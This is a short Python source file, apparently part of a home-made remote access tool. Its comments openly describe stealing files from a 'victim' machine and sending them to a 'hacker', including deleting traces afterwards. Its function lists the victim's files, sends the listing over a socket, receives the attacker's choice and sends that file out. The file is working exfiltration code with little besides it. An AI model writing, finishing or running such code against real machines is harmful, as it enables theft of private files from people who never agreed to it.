from glob import glob
import json

DELIMETER = "<END_OF_RESULTS>"


# get files and folders list in the directory

# create a dictionary of the files in directory

# serialize the dictionary

# add delimter to the end and send to hacker

# receive at hacker side

# deserialize and print items
# ask the user to select items to download
# send the selected item( file or folder) to victim
# recieve the selected item on victim
# zip the selected file/folder
# send the zipped file/folder to hacker
# remove the zip file on victim to cover tracks


def upload_file_folder(my_socket):
    print("[+] Uploading to server")

    files = glob("*")

    dict = {}

    for index, file in enumerate(files):
        dict[index] = file

    dict_bytes = json.dumps(dict)

    bytes_with_delimeter = dict_bytes + DELIMETER

    raw_bytes = bytes_with_delimeter.encode()

    print("[+] Sending serialized list of files")
    my_socket.socket.send(raw_bytes)
    # completed the 1st 4 steps

    filename = my_socket.receive_data()

    print("[+] File selected by user: ", filename)

    my_socket.send_file(filename)
